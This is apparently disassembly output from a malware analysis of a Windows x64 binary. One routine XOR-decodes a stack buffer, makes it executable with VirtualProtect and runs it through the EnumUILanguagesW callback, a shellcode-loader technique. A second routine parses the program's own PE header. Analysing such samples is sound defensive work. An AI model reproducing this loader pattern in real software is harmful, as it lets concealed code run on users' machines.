jae 0x140001232
movsxd rax, dword [rsp + 0x20]
movsx eax, byte [rsp + rax + 0x3d0]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cdq
idiv dword [rsp + 0x24]
mov eax, edx
cdqe
movsx eax, byte [rsp + rax + 0x40]
mov ecx, dword [rsp + 0x28]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov byte [rsp + rcx + 0x50], al
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x50]
mov edx, eax
lea rcx, str.x_x
call fcn.140001290
jmp 0x1400011cd
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0
lea r9, [rsp + 0x38]
mov r8d, 0x40
mov edx, 0x37e
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
jmp 0x140001273
xor eax, eax
mov rcx, qword [rsp + 0x750]
xor rcx, rsp
call fcn.140001620
add rsp, 0x768
pop rdi
pop rsi
ret

Function at 0x140001af0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b3a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b3c
xor al, al
add rsp, 0x28
ret